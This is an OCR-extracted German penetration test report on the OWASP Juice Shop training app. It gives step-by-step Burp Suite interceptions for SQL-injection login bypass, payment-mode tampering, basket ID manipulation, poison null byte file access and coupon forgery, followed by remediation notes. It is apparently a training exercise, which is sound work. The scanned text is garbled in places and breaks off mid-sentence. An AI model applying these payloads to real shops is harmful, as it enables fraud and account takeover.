injection] S

| ] =
LE 4 e e
z bl s, 45
i i A
T A A e e e D e e T T e T
R A e O U e o e S e e iy e b e e o o s S R
e e e e e e Sl e e T S e e

PENTEST REPORT

ERICH MARIO MICHAEL ANNE



Pentest Report
Stand: 16.10.2025 ShieldSec
Version: 1.0 b RS peneTraTion TesTiNG

ShieldSec

Pentest Report
“Juice Shop”




Stand: 16.10.2025 Pentest Report ShieldSec
Version: 1.0 L Y reemnonreme
Inhaltsverzeichnis
Y =] o] (=Yl a0 F= T4 g = SRR PORRRRPRIN 5
1.1 AURIAQQEDET ... e aaeaa 5
1.2 AURIAgNENMET ...ttt e e e 5
2 ProjeKtlbersiCht...... ..o 5
2.1 EINfURIUNG ... e e 5
2.2 RahmenbedinQUNen ... 5
PG T Toro ] o 1= OSSPSR 5
3 EXECULIVE SUMMANY.....cooiiiiiiie e e e e e e 6
4 MEtNOIOY .. .o 6
5 Detailed FINAINGS.....couiiii et e e e e e e e e e eees 7
51  Empty User Registration .............oiiiiiiiiiiecceee e 7
5.1.1 Ergebnis ... 7
5.1.2  AUSWITKUNGEN.....euiiii ittt e e e e e e e e e e e e e e e as 8
5.2 Deluxe Fraud........oooeeieeee e 9
5.2.1 Ergebnis ... 10
5.2.2  AUSWITKUNGEN.....uuiiiii ittt e e e e e e e e e e e e e e annnaas 10
5.3  LOGIN AMIN.. ...t e e e e e e 11
5.3.1 Ergebnis . ... 11
5.3.2  AUSWIFTKUNGEN.....uuii it e e e e e e e e e e annnaas 13
5.4  Zero Stars ..o 13
5.4.1 Ergebnis . ... 13
5.4.2  AUSWITKUNG....oiiiiiiiiiiiiiii e 14
5.5  WeIrd Cryplo ..ot 14
5.5.1 Ergebnis ... 15
552 AUSWITKUNG....oiiiiiiiiiiiiiiii e 15
56  VieW Basket........oooo i 16
5.6.1 Ergebnis ... 16
5.6.2  AUSWIIKUNGEN.....oiiiiiiiiiiiiiii e 17
5.7  Forgotton Sales Backup / Poison Null Byte ..., 18
5.7.1 FINAINGS. ..o 18
5.7.2  AUSWIrKUNGEN....coiiiiiiiiiiiiiiiii e 19
5.8  FOrged COUPON . ..ot e e e e e e e e e e e e e e 20
5.8.1 FINAINGS. ..o 20
5.8.2  AUSWIIKUNGEN.....oiiiiiiiiiiiiiii e 21

B AHACK NItV ... oo et 22



Pentest Report

Stand: 16.10.2025 ShieldSec
Version: 1.0

vvvvvvvvvvvvvvvv

6.1 MOGIIChe ANGreifer......uuu e 22
6.2  Ziel der Angreifer ... 22
6.3  Vorgehensweise der Angreifer..... ..o 22
6.4  ANngriffsverlauf ... 22
6.5  Auswirkungen eines Angriffs ... 22
7  Recommendations / Remediation............ccooiiiiiiiiiii e 22
7.1 Empty User Registration .............coooiiiiiiiiiecceee e 22
7.2 Deluxe Fraud..... ..o e 22
7.3  Login Admin: Log in with the administrator's user account......................... 22
T4 ZEr0O StarsS oo 22
7.5  Weird Cryplo oo 23
7.6 View Basket View another user's shopping basket. ..........cccccooeiiiiiiiiiinnnnn. 23
7.7  Forgotton Sales Backup / Poison Null Byte...........ccooovviiiiiiiiiiii 23
7.8  FOrged COUPON .....cooiiiiiiiiiec e 23
8 AN NG - 24
8.1 AHACK Tree . 24
8.2 ASSESSMENT SCOPE...cuuuunieeei it e e e e e e e e e eeeeannnnnas 24
8.3  Assessment Artefacts (Artefakte zur Bewertung) ..o 24
8.4 TOOIS USEA ... 24




Stand: 16.10.2025
Version: 1.0

Pentest Report

ShieldSec
EEEEEEEEEEEEEEEEEE

Dokumentenhistorie

Version | Anderung Datum Autor

0.1 Erstellung des Dokuments 13.10.2025 Erich

0.2 Eintragen der Findings 14.10.2025 Anne, Erich, Mario,
Michael

0.3 Anpassungen unter Punkt 3 16.10.2025 Erich

1.0 Finalisierung und Unterschriften 16.10.2025 Anne, Erich, Mario,

Michael




Pentest Report
Stand: 16.10.2025 ShieldSec
Version: 1.0 b RS peneTraTion TesTiNG

1 Ansprechpartner

1.1 Auftraggeber

Juice Shop Inc.
Inifinite Loop 100
Cupertino, California

1.2 Auftragnehmer

ShieldSec Penetration Testing

Erich G., Mario H., Michael W., Anne Z., Pentester
Musterstralle 456

9876 Demoort

@ +4912345789-0

<= info@shieldsec.com

2 Projektubersicht

2.1 Einfuhrung

ShieldSec Penetration Testing wurde mit einem Penetration Test der Web Applikation
»~Juice Shop” beauftragt. Das Unternehmen betreibt einen Saftladen, der unterschied-
lichste Safte online anbietet.

Die Web-App wird auf einem on premise Server des Unternehmens gehostet. Das
Unternehmen mochte durch den Test einen Uberblick und ein besseres Verstandnis
Uber die Sicherheitslage der selbst entwickelten App erhalten.

2.2 Rahmenbedingungen

Der Penetration Test wurde im Zeitraum 06.10.2025 bis 15.10.2025 durchgefihrt und
erfolgte in den Raumen der ShieldSec uncredentialed uUber die Offentliche Webseite
durchgefuhrt.

2.3 Scope

Es durfen alle im Shop angebotenen Funktionen auf ihre Sicherheit getestet werden.
Einschrankungen bestehen lediglich dahingehend, dass die Funktionalitat nicht unter-
brochen werden darf und keine Daten verandert werden durfen.
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3 Executive Summary

Der Test wurde im Zeitraum 06.10.2025 bis 15.10.2025 durchgefuhrt. Dabei konnten
8 Schwachstellen identifiziert werden, die in den Findings zusammengefasst und einer
Risikobewertung unterzogen wurden.

Hier die Ubersicht und Risikobewertung:

Schwachstelle Risiko- | Pentester-in | Remediation
grad (Details siehe
Punkt 7)
Login Admin Michael mittel

Log in with the administrator's user ac-
count.

Forgotton Sales Backup / Poison Null Anne mittel
Byte

Deluxe Fraud Hoch Erich mittel
Zero Stars Hoch Mario

Weird Crypto Hoch Mario

View Basket Hoch Michael

View another user's shopping basket.

Forged Coupon Hoch Anne

Empty User Registration Normal | Erich

Die gefunden Schwachstellen sind vielfaltig und nach Risikograd sortiert.

Es bestehen beispielsweise Schwachstellen, die administrativen Zugriff auf den Web-
Shop ermoglichen; ebenso kdonnen gefakte Kundenbewertungen abgegeben, ge-
falschte Coupons eingelost und Warenkoérbe von anderen Benutzern eingesehen und
modifiziert werden.

4 Methology

Der Webshop wurde auf folgende Schwachstellen untersucht:
- Benutzerregistrierung
- Abfangen und umleiten von Zahlungen
- Zugangsmoglichkeit als Administrator
- Falschen von Kundenbewertungen
- Verwendete, veraltete Bibliotheken prifen
- Zugang zum Warenkorb anderer Benutzer
- Zugang zu geléschten Produkten
- Einlésen von gefalschten Coupons
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5 Detailed Findings
5.1 Empty User Registration
5.1.1 Ergebnis

Es wurde versucht, einen Benutzer ohne eMail-Adresse und Passwort anzulegen.
Dazu wurde die Burp Suite verwendet.

User Registration

Email*

test@testtest.tst

© Password must be 5-40 characters long.
Repeat Password*

Q Show password advice

ecurity Question *

Your eldest siblings middle name?

© This cannot be changed later!

Answ
ANswel

12345

+& Register

Already a customer?

Vor dem Klick auf ,Register” wurde ,Intercept” eingeschaltet.
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Es konnte folgendes abgefangen werden:

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: http://127.0.0.1:3000/

Accept -Encoding: gzip, deflate, br

Cookie: language=en; cookieconsent_status=dismiss; welcomek

8 Connection: keep-alive

0 {

"email":"test@testtest.tst",

"password":"12345",

"passwordRepeat":"12345",

"securityQuestion":{
“id*:1,
"question":"Your eldest siblings middle name?"
"createdAt":"2025-10-13T14:43:29,4872",
"updatedAt":"2025-10-13T14:43:29,4872"

NoOunsWw

},
"securityAnswer":"12345"

¥

Das Datenpaket wurde wie folgt verandert (die Mailadresse und beide Kennwortein-
trage wurden entfernt):

18 Connection: keep-alive
19
20 {
"email":"",
"password":"",
"passwordRepeat":"",
"securityQuestion":{
wid s,
"question":"Your eldest siblings middle name?",
"createdAt":"2025-10-13T09:35:44,474Z",
"updatedAt":"2025-10-13T09:35:44,474Z"

"securityAnswer":"123"

Dies wurde von der WebApp ohne Fehler akzeptiert.

5.1.2 Auswirkungen

Durch die Mdglichkeit Benutzer ohne Namen / eMail Adresse und ohne Passwort zu
registrieren, wird der Shop sehr verwundbar fur Angriffe von aufl3en.
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5.2 Deluxe Fraud

Das Portal bietet die Mdglichkeit, fir USD 49.- Premium Member zu werden.
Dabei kann entweder mit der Wallet oder mit Kreditkarte bezahlt werden.

My Payment Options

O FARA ARG GTS 11/2099

O Aekrrsrreian] 234 12/2098

Add new card Add a credit or debit card

Pay using wallet Wallet Balance o Pay 49.000

Add a coupon Add a coupon code to receive discounts

Other payment options

Es wurde die Bezahlung ,Wallet* ausgewahlt und der Datenstrom mit Burp Suite inter-
cepted. Das sind die Findings:

POST /rest/deluxe-membership HTTP/1.1

Host: 127.0.0.1:3000

Content-Length: 24

sec-ch-ua-platform: "Linux"

Authorization: Bearer

eyJOeXA101JKV1QiLCIhbGeci01JSUZI1N1J9. ey JzdGFOdXM101JzdWNj ZXNzI

M3NmQ3MTNj MDdhZCIsInJvbGUi01Jj dXNOb211ciIsImRLbHV4ZVRva2vuljoi

j 01IiwiaXNBY3RpdmUiOnRydwWUsImNy ZWFOZWRBACIGI ] IwMj Ut MT At MTMgMT A

M30.sGa0rMIxzy4COCNXOn3Vsgt 0Jx 71 ABraDj 6qnLSPIMt xWylqNpy GRXPLJIF

5 Accept-Language: en-US,en;q=0.9

7 sec-ch-ua: "Not=A?Brand";v="24", "Chromium";v="140"

8 sec-ch-ua-mobile: ?0

9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.3€

10 Accept: application/json, text/plain, */*

11 Content-Type: application/json

12 Origin: http://127.0.0.1:3000

13 Sec-Fetch-Site: same-origin

14 Sec-Fetch-Mode: cors

15 Sec-Fetch-Dest: empty

16 Referer: http://127.0.0.1:3000/

17 Accept-Encoding: gzip, deflate, br

18 Cookie: language=en; cookieconsent_status=dismiss; welcomebann
eyJOeXA101JKV1QiLCIhbGci01JSUzI1N1J9. ey JzdGFOdXMi01JzdWN) ZXNzI
M3NmQ3MTNj MDdhZCIsInJvbGU1i01Jj dXNOb211ciIsImRLbHV4ZVRva2Vuljol
joiIiwiaXNBY3RpdmUiOnRydWUsImNy ZWFOZWRBACIGI ) IwMj Ut MT At MTMgMTA
M30.sGa0rMIxzy4COCNXOn3Vsgt 0Jx71 ABraDj 6qnLSPIMt xWylqNpy GRXPLJIF
VEQNS81LqvoWxPJInbrR79mly0aOF0f 7YubpI8gdzOD3Xw6k ZeVpj aM25B4YKg

19 Connection: keep-alive

20

21 {
"paymentMode": "wallet"

}

s wWwN -
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Anschlieliend wurde der ,Payment Mode*“ auf ,none“ gesetzt...

10 Accept: application/json, text/plain, */+

11 Content-Type: application/json

12 Origin: http://127.0.0.1:3000

13 Sec-Fetch-Site: same-origin

14 Sec-Fetch-Mode: cors

LS Sec-Fetch-Dest: empty

16 Referer: http://127.0.0.1:3000/

17 Accept-Encoding: gzip, deflate, br

18 Cookie: language=en; cookieconsent_status=dismiss; welcomebanner_s-
eyJOeXA101JKV1QiLCIhbGci01JSUZI1N1LJI9. ey JzdGFOdXMi01JzdWN] ZXNzIiwiZ!
WFkMj gzYWEOMDBhZj Q2NGM3NmQ3MTN] MDdhZCIsInJvbGUi01Jj dXNOb211ciIsImR
hZHMvZGVmYXVsdCSzdmcil CIOb3RwU2V] cmVOIjoiIiwiaXNBY3RpdmUiOnRydWUsIi
CswMDowMCIsImRLbGVOZWRBACIEbnVsbHOsIml hdCIGMTc2MDM2N] cON30. LMECATm
FaSN-81bHF7Jz9d2g9x Xw1BBEIh7AbCgWODJIWQHgELP3DmZolloz1lgt A
Connection: keep-alive

21 {

"paymentMode" : "none"

...und das Paket weitergeleitet.
Das Ergebnis:

Deluxe Membership

Enjoy amazing benefits as a deluxe customer of OWASP Juice Shop. Check out what is included with your
membership.

Deals and Offers Free Fast Delivery Unlimited Purchase
As a deluxe member, you get access to E Get unlimited free Fast Delivery for all + Enjoy unrestricted purchase of your favourite

exclusive deals and irresistible offers. products in the shop. products.

5.2.1 Ergebnis

Wir sind Premium Member ohne dafilir bezahlt zu haben.

5.2.2 Auswirkungen

Dem Unternehmen kann durch diese Schwachstelle viel Geld verloren gehen.

10
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5.3 Login Admin
Mit dem Administrator User Account einloggen und alle Adminrechte haben.

Login

admin@juice-sh.op

S ©

8 Login

[J Remember me

or

G Log in with Google

5.3.1 Ergebnis

Burp Project Intruder Repeater View Help

Dashboard Target Proxy Intruder Repeater Collaborator Seqt
Intercept HTTP history WebSockets history Match and replace {S prc

@ Intercept off Forward

Burp Project Intruder Repeater View Help
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder
Intercept HTTP history WebSockets history Match and replace {S) Proxy settings

@ Intercept on Forward

Jetzt erst auf Log-in klicken.
Nun wird der Datenstrom mit Burp Suite intercepted, also abgefangen.

11
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BT RTINS oo -

Time Type Direction Method URL

1218:33130K.2025 WS € Toclient joNEIO: YVUHN_2BAABL
1218:33130K.2025 WS € Todlient JolTEIO:

1218:33130K.2025 WS € Toclient JoNEIO: g
1218:33130K. 2025 WS € Todlient JolEIO:

12183913 0Kt.2025__HITP 5 Request POST 3000 i

1218:39130Kt.2025  HTTP 2 Request GET hetp/focalhost:3000/rest/user/whoami

1218:39130Kk.2025  HTTP > Request GET iolEI0=: Sazw
1218:39130Kk.2025  HTTP 9 Request GET poll 1)
1218:40130k.2025  HTTP 2 Request GET JoEIO:

1218:59130Kt.2025  HTTP 9 Request GET hetpflocathost:3000/rest/user/whoami

Request

Pretty _ Raw  Hex

POST /rest/user/login HTTP/1.1

2 Host: localhost:3000

Content-Length: 51

+ sec-ch-ua-platform: *Linux"

Accept-Language: de-DE,de;q=0.9

Accept: application/json, text/plain, */*

sec-ch-ua: *Not=A?Brand*;v="24", "Chromium";v="140"

Content-Type: application/json

sec-ch-ua-mobile: 70

User-Agent: Mozilla/S.0 (X11; Linux x86_64) ApplewebKit/S37.36 (KHTM., like Gecko) Chrome/140.0.0.0 Safari/S37.36

1 Origin: http://localhost:3000

2 Sec-Fetch-S1

: same-origin
Sec-Fetch-Mode: cors

i Sec-Fetch-Dest: empty

e

wN

1
1
1
1

Referer: http://localhost:3000/

Accept-Encoding: gzip, deflate, br

Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=VYWBG70tN1LtQcRfeHAIgkuleunrIDkF13UnRsprixgfDquRrIgLhL3
Connection: keep-alive

{"email*:*admn@juice-sh.op*,"password®:*0815'}

Request
Pretty Raw Hex

1 POST /rest/user/login HTTP/1.1

2 Host: localhost:3000

3 Content-Length: S1

4 sec-ch-ua-platform: "Linux"

S Accept-Language: de-DE,de;q=0.9

Accept: application/json, text/plain, */*

sec-ch-ua: "Not=A?Brand";v="24", "Chromium";v="140"

Content-Type: application/json

sec-ch-ua-mobile: 70

User-Agent: Mozilla/S.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) ¢
origin: http://localhost:3000

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: http://localhost:3000/

Accept-Encoding: gzip, deflate, br

Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; cor
Connection: keep-alive

-0 0o

TS

I 0

0 {"email":"' or 1=1--},"password":"0815"}

Anstelle der Mailadresse:” ' OR 1=1--" eingeben. Die abgeanderte Seite forwarden und
den Interccept wieder auf off stellen.

g2 @ &

6
Q @ Account W vYourBasket & EN

@ admin@juice-sh.op

@ Orders & Payment

e Privacy & Security

() Logout

Nun ist man als Administrator und mit dessen Rechten angemeldet.

12
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5.3.2 Auswirkungen

Vollen Administrator Zugriff auf den Saftladen.

5.4 Zero Stars

Hier haben wir eine Herausforderung wo uns gesagt wird, dass wir dem Shop 0 Sterne
Feedback geben sollen:

Improper Input Validation

Zero Stars

Give a devastating zero-star feedback to the store.

5.4.1 Ergebnis
Allerdings ist nur eine Bewertung von 1 bis 5 moglich.

‘ OWASP Juice Shop

Customer Feedback Customer Feedback

Comment*

0 Max. 160 mara(rersﬂ

Rating - — Rating

CAPTCHA: Whatis 4%1%2 2 CAPTCHA: Whatis 4%1%2 7

Result* Result*

13



Pentest Report
Stand: 16.10.2025 ShieldSec
Version: 1.0 PENETRATION TESTING

Wir verwenden die Burp-Suite, um alle Daten einzugeben, dricken: ,Intercept on”
und andern dann den Standardwert auf 0. Wir mussen ,Weiter” dricken und dann
.intercept off* und die Herausforderung ist geldst.

x o+

Q& Not e lacalhost 3 @ signie. Target o itruder  Repeater  Colaborator  Sequencer  Decoder  Comparer  Log

an
! vt WITPhistory  WebSockels history  Match and replace Prosy settings
OWASP Juice Shop Q@ acont Grv EEEEE i i P B prony setting
B intercept on orop v Request to hitp//localhost3000 (127,00

Tme  Type Direction Method  URL
HIT? 3 Request POST hitp//localnost3000/spuFeedbadkss

ws € Toclen p W YQHIAAL)
WTTP 3 Request GET htipi//lncainast: ID=zatrznsport=pi

Customer Feedback

Inspector
=@ =

Request sty

Request qui

Request cor

Request he:

P| ohighigns

5.4.2 Auswirkung

Die Maoglichkeit, clientseitig ungultige Bewertungswerte (z. B. 0) zu setzen, hat reale
Auswirkungen: Vertrauensverlust, verfalschte Metriken, Geschaftsentscheidungen auf
falscher Datenbasis und ein Indikator fur fehlende serverseitige Validierung — was
wiederum weitere Angriffsflachen eroffnet. Auf der Skala: Mittelhoch bis Hoch fir Re-
putation/Business; Hoch als Architektur-Sicherheitsmangel.

5.5 Weird Crypto

Benachrichtigen Sie in dieser Aufgabe den Store Uber einen Algorithmus oder eine
Bibliothek, die nicht mehr verwendet werden soll.

Cryptographic Issues
Weird Crypto

[nform the shop about an algorithm or library it should
definitely not use the way it does.

14



Pentest Report
Stand: 16.10.2025 ShieldSec
Version: 1.0 PENETRATION TESTING

5.5.1 Ergebnis

Deshalb haben wir gegoogelt, welche Algorithmen und/oder Bibliotheken alt oder
schwach und somit unbrauchbar sind.

= .OWASP Juice Shop

Customer Feedback

Example of vulnerable code on different programming languages:

* in Python using DES:

Danach teilen wir ihm mit, was er nicht verwenden soll. Die Herausforderung ist gelost.
Herzlichen Glickwunsch!

5.5.2 Auswirkung

Die Verwendung solcher Algorithmen kann zu Datenverlust, Kompromittierung von
Passwortern oder Sicherheitslicken fluhren. Es ist wichtig, diese nicht mehr zu ver-
wenden und auf sichere Alternativen wie AES (GCM/CTR-Modus) oder SHA-256/512
umzusteigen.

15
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5.6 View Basket

Ubernahme eines anderen Warenkorbes

5.6.1 Ergebnis

= ._OWASP Juice Shop Q @ seomt W vousaie @ex

Your Basket

Wir 6ffnen die Burpsuit und darin einen Browser, wir melden uns beim Juice Shop an.
Schalten in der Burpsuit Intercept auf on und 6ffnen unseren Warenkorb.

Burp Project Intruder Repeater View Help

Dashboard Target Intruder Repeater Collaborator Sequencer Decoder (¢]
HTTP history WebSockets history Match and replace @ Proxy settings
oo [V

Time Type Direction Method URL
12:12:4514 Okt. 2025 HTTP - Request GET http://localhost:3000/res
[1212:4514 Okt. 2025 _HTTP - Request GET http://localhost:3000/res
12:12:59 14 Okt. 2025 WS € Toclient http://localhost:3000/s0¢
12:113:0514 Okt.2025 HTTP - Request GET http://localhost:3000/s0¢

Request
Pretty Raw Hex

1 GET /rest/basket/g HTTP/1.1

2 Host: localhost:3000

3 sec-ch-ua-platform: "Linux"

4 Authorization: Bearer

eyJ0eXA101JKV1QiLCIhbGe101JSUZI IN1J9. ey zdGFOdXM1 01 )zdWN]) ZXNzI 1wl ZGFOYSI 6ey)pZCI6M)M

xhc3RMb2dpbk LwI j 01 MCAwL j AUMCI SInByb2ZpbGVIbWFnZSI6I1She3NLdHMYcHVibGLjL21tYWdley9leG

DEwOJ Ex0j UOL ) YxN1 ArMDAGMDA1 LCJIk Zwx LdGVk QXQ1 OmS1bGx9LCIpY XQ1 0j E3Nj AOMzY 3MTh9. rv- 94Z6y

Ezac

Accept-Language: de-DE,de;q=0.9

Accept: application/json, text/plain, */#*

sec-ch-ua: "Not=A?Brand";v="24", "Chromium";v="140"

User-Agent: Mozilla/S.0 (X11; Linux x86_64) AppleWebKit/S537.36 (KHTML, like Gecko) C

) sec-ch-ua-mobile: 70

10 Sec-Fetch-Site: same-origin

11 Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: http://localhost:3000/

Accept-Encoding: gzip, deflate, br

15 Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; con
eyJ0eXA101JKV1Q1LCIhbGe101ISUzI IN1J9. ey)zdGFOdXM1 01 JzdWNj ZXNzI 1wl ZGFOYSI6eyJpZCI6MIM
xhc3RMb2dpbk Lwl j 01MC4wl ] AUMCI SInByb2ZpbGVIbWFnZSI 611 She3NLdHMveHVibGLjL21tYWdlcy91cG
DEwOJ Ex0J UOL ] Y xN1 ArMDAGMDA1 LCJk Zwx 1dGVk QXQ1 OmS1bGx9LCIpY XQ1 0 E3N) AOMZY 3MTh9. rv- 94Z6y
Ezac

16 If-None-Match: W/"3fS-FnGsuOFsfLPSETr3%hxwrcjoKEQ"

17 Connection: keep-alive

5w N

16
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Im Request andern wir jetzt einfach die Nummer des Basket auf eine andere Zahl
(anderes Basket) um, (hier jetzt 2) -> klickt auf Forward und schaltet den Intercept auf
Off.

Burp Project Intruder Repeater View Help

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logget
HTTP history WebSockets history Match and replace {S) Proxy settings
> Forward | v o >

Time Type Direction Method URL
12:12:4514 Okt. 2025  HTTP - Regquest GET http://localhost:3000/rest/user/whoami
12:12:4514 Okt. 2025  HTTP - Request GET http://localhost:3000/rest/basket/6
12:12:59 14 Okt. 2025 WS € Toclient http://localhost:3000/socket.io/?EIO=4&trans|
12:13:0514 Okt.2025 HTTP 2 Request GET http://localhost:3000/socket.io/?EIO=4&trans|
12113228 14 Okt. 2025  HTTP - Request GET http://localhost:3000/socket.io/?EIO=4&trans|
12:13:50 14 Okt. 2025  HTTP - Regquest GET http://localhost:3000/socket.io/?EIO=4&trans|
12:14:1514 Okt.2025  HTTP 2 Regquest GET http://localhost:3000/socket.io/?EIO=4&trans|

Request
Pretty Raw Hex

1 GET /rest/basket/2 HTTP/1.1

2 Host: localhost:3000

3 sec-ch-ua-platform: "Linux"

4 Authorization: Bearer
eyJ0eXA101JKV1QiLCIhbGe101JSUZI IN1J9. ey)zdGFOdXM1 01 JzdWN]) ZXNzI 1wl ZGFOY SI6eyJpZCI6MjMSInVzZXIuYW1lIj
xhc3RMb2dpbk LwI j 01 MC4wL j AUMCI sINByb2ZpbGVIbWFNZSI6I19he3NLdHMvcHV1bGLjL21tYWdlecy91cGxvYWRzL2R1ZmF1b
DEwOJ Ex0jUOL ] Y xN1 ArMDAGMDA1LLCIk Zwx 1dGVvkQXQ10mS1bGxSLCIpY XQ10j E3N] AOMzY 3MThS. rv- 94Z6yt0qsx7ZLnY yvBZL
Ezac

S Accept-Language: de-DE,de;q=0.9

Accept: application/json, text/plain, */*

sec-ch-ua: "Not=A?Brand";v="24", "Chromium";v="140"

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0

9 sec-ch-ua-mobile: 70

0 Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: http://localhost:3000/

Accept-Encoding: gzip, deflate, br

15 Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=DA4xt
eyJ0eXAi0iJKV1QiLCIhbGei0iISUZI 1Ni 9. ey zdGFOXMi 01 JzdwNj ZXNzI iwi ZGFOYSI6eyJpZCI6Mj MsInVZzZXIuYW1ll j
xhc3RMb2dpbk LwI j 01 MC4wL j AUMCI SInByb2ZpbGVIbWFnZSI 611 9he3NLdHMvcHVi bGLjL21 tYWdlcy91cGxvYWRzL2R1ZmF1b
DEwOj Ex0j UOLj Y xNi ArMDAGMDAL LCIk Zwx 1 dGVk QXQi OmS1bGx9LCIpY XQi 0 E3N] AOMzY 3MThS. rv- 94Z6yt0qsx7ZLnYyvBZL
Ezac

5 If-None-Match: W/"3fS-FnGsuOFsfLPSET r39bxwrcjOoKEQ"

17 Connection: keep-alive

N

(03]

Nun hat man ein anderes Basket Ubernommen:

Your Basket

@ Raspberry Juice (1000ml)

Total Price: 9.98a

W Checkout

You will gain 0 Bonus Points from this order!

5.6.2 Auswirkungen

Man kann fremde Einkaufskorbe befiillen oder leeren.
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5.7 Forgotton Sales Backup / Poison Null Byte
5.7.1 Findings

Es wird gesagt, dass irgendwo eine vergessene Datei mit einem Sales-Backup liegt,
auf die man Zugriff bekommen kann.

consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accur

nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, se
r_be f if you a terest t e stuff. At ver

sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet,

aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo (
amet. Lorem um dolor sit amet, consetetur sadipscing elitr, At accusg
justo labore Stet clita ea et gubergren, kasd magna no rebum

Customer Feedback

Follow us on Social Media
pcalhost:3000/ftp/legal.md

Geht man im about-Teil allerdings Uber den Link, sieht man, dass die Datei auf einem
“ftp”-share liegt. Auf diesen kann man ohne Probleme zugreifen:

C @ O D localhost

ls Kali Docs Kali NetHunter Exploit-DB Google Hacking DB OffSec =m @ Nessus

~Iftp!
Quarantine acquisibons.md anno!
coupons_2013.md.bak eastere.gg encry
incident-support.kdbx legal.md | order
package-lock.json.bak package.json.bak suspi
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Pentest Report
Stand: 16.10.2025 ShieldSec
Version: 1.0 PENETRATION TESTING

Fur uns ist hier die coupon_2013.md.bak interessant. Wenn man diese herunterladen
mochte, bekommt man erstmal eine Fehlermeldung:

C @ O D localhost

ls Kali Docs Kali NetHunter Exploit-DB Google Hacking DB OffSec 5 @ Nessus

OWASP Juice Shop (Express "4.21.0)

403 Error: Only .md and .pdf files are allowed!
at verify (fhome/kali/Documents/juiceshog 3

ice-shop/build/routesfileServer.js:59:18

P O[]~
md and .pdf fi

@ Q  localhost

Kali Docs Kali NetHunter Exploit-DB Google Hacking DB OffSec %a @ Nessus

| 2 ~/Downloads/coupons_2013.md.bak_00.md - Mousepad

File Edit Search View Document Help
[+ I R -

12 1}6D$gC7ss

5.7.2 Auswirkungen

Ungeschutzter Zugriff auf einsehbare Shares - “/ftp” und den darauf liegenden Dateien.
Aulerdem ist die Web-Application fur Null-Byte-Injections verwundbar.
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5.8 Forged Coupon
5.8.1 Findings

Wie kann man einen Coupon mit 80% Rabatt erstellen?

Wir haben in 5.8. erfolgreich die Liste mit den alten Coupons herunterladen konnen.
Nach kurzer Recherche steht fest, diese sind mit T85 codiert worden; CyberChef hilft
beim Decodieren:

mNYS#gC7sn
0*IVigC7sn
t k#pD1gC7sn
0-9a-zA-Z. \-:+=N1/*28&<> () [1{}@%$# - 0*I]pgC7sn
n(XRvgC7sn

n(XLtgC7sn

Remove non-alphabet chars All-zero group k#*AfgC7sn
q:<IqgC7sn
pEw80gC7sn
pes[BgC7sn
1}6D$gC7ss

1 F 12 Tr Raw Bytes ¢4 LF

From Base85

Output % ] [_D m o

JAN13-10FEB13-10MAR13-10APR13-160MAY13-10JUN13-10JUL13-10AUG13-10SEP13-100CT13-16N0V13-106DE
C13-15

Hier sieht man nun, dass alle Coupons nach demselben Prinzip aufgebaut sind:
Monat-Jahr-Prozente.

So koénnen wir uns einfach selbst einen Coupon mit CyberChef und dem aktuellen
Monat erstellen: Oct-25-81 wird zu: pEw8ph7Z”x

Recipe - N Input

0CT25-81
To Base85 A

Alphabet
0-9a-zA-Z.\-:+=A1/* 7 [:I Include delimeter

sec 8 =

Output

pEw8ph7ZAx
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Wenn wir nun Produkte in den Warenkorb legen, kdnnen wir beim Checkout den Cou-
pon einldsen und tatsachlich funktioniert es! Schlanke 81% gespart und die Challenge

gelost.

My Payment Options

Add new card

Pay using wallet Wallet Balance

for monthly coupons and other spam!

Add a coupon

Order Summary

Items
Delivery

Promotion

Total Price

© rlace your order and pay

o Pay 20,550

10/10

@ Redeem

You will gain 10 Bonus Points from this order!

5.8.2 Auswirkungen

Durch eine einfache Verschliusselung und nicht-existenten Zugriffsrechten kann

fach selbst ein Coupon erstellt werden.

ein-
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6 Attack Narrative
6.1 Mogliche Angreifer

Angreifer kdbnnen aus verschiedenen Bereichen kommen: Beispielsweise kdnnen
das Konkurrenten sein, Script Kiddies, oder auch Angreifer, die aus wirtschaftlichen
Grinden den Angriff starten. Auch ehemalige Mitarbeiter kommen in Betracht.

6.2 Ziel der Angreifer

Ziele kdnnten sein:

- Erpressung

- Datenexfiltration

- Zufugen wirtschaftlichen Schadens
6.3 Vorgehensweise der Angreifer

Die Vorgehensweise ist die Ausnutzung der Schwachstellen der WebApp.

6.4 Angriffsverlauf

Der Verlauf moglicher Angriffe ist im Kapitel 5 im Detail beschrieben.

6.5 Auswirkungen eines Angriffs

Die Auswirkungen eines Angriffs konnen sein:
- Datenverlust
- Schaden am Ruf des Unternehmens
- Betriebsunterbrechung
- Finanzieller Schaden

7 Recommendations / Remediation

7.1 Empty User Registration

Die auf der Webseite eingegebenen Daten missen vor der Ubergabe an die Daten-
bank nochmals auf Glltigkeit geprift werden.

7.2 Deluxe Fraud

Die von der Webseite Ubermittelten Zahlungsdaten mussen vor Abschluss der Zahlung
auf Plausibilitat geprift werden. Ein Zahlungsmittel ,none” darf nicht akzeptiert werden.
7.3 Login Admin: Log in with the administrator's user account.

Verhindern lasst sich ,Log in with the administrator's user account® am effektivsten
durch die Kombination aus verpflichtendem Admin-MFA, serverseitiger Rollenprufung
(RBAC), Brute-Force-Protection (Rate-Limiting & Account-Lockout) und einem sepa-
raten/geschutzten Admin-Interface.

7.4 Zero Stars

Die Bewertung muss bei der Ubergabe an den Server auf gliltige Werte (1-5) gepriift
